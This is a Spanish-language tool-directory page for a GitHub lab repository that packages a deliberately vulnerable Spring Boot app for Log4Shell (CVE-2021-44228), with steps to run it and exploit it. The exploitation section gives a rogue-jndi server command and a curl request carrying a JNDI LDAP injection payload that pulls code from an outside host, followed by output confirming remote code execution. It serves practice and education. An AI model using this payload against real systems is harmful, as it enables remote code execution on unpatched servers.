Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-44228-poc — aplicación de muestra de log4shell (CVE-2021-44228) | Kitploit
Herramientas/GitHubGitHub/kadantte/cve-2021-44228-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubkadantte/cve-2021-44228-poc

CVE-2021-44228-poc

aplicación de muestra de log4shell (CVE-2021-44228)

Ver Repositorio
43hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aplicación vulnerable de muestra Log4Shell (CVE-2021-44228)

Esta es una aplicación vulnerable casi copia/similar a https://github.com/christophetd/log4shell-vulnerable-app

Las principales diferencias son el uso de maven en lugar de gradle, y el uso de rogue-jndi.

Este repositorio contiene una aplicación web maven Spring Boot vulnerable a CVE-2021-44228, apodada Log4Shell.

Utiliza Log4j 2.6.1 y la versión 1.8.0_181 de JDK.

Ejecutar la aplicación springboot

Construye y ejecuta la aplicación docker springboot:

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app

Explotación

  1. git clone https://github.com/veracode-research/rogue-jndi
  2. cd rogue-jndi
  3. mvn package
  • java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"
  • Abre una segunda terminal

    1. curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'

    Donde en ambos casos 192.168.1.x es tu IP

    NOTA: no uses localhost, usa tu dirección IP privada real.

    Ahora comprueba si el RCE fue exitoso:

    root@kitploit:~
    $ docker ps                                 
    CONTAINER ID   IMAGE            COMMAND                  CREATED         STATUS         PORTS                                       NAMES
    04536dbd1dff   vulnerable-app   "java -jar demo-0.0.…"   2 minutes ago   Up 2 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   gallant_easley
    
    root@kitploit:~
    $ docker container exec -it 04536dbd1dff ash
    /opt/app # ls /tmp
    hsperfdata_root                          tomcat-docbase.8080.4585569232401237075
    test_if_rce                              tomcat.8080.1707298461175346507
    

    Como puedes ver, el archivo test_if_rce existe. Lo que significa que el RCE fue exitoso.

    NOTA

    Se han utilizado código e ideas de los siguientes repositorios:

    • https://github.com/rayhan0x01/log4shell-vulnerable-app/tree/mod

    • https://www.lunasec.io/docs/blog/log4j-zero-day/

    • https://github.com/christophetd/log4shell-vulnerable-app

    Descargar herramienta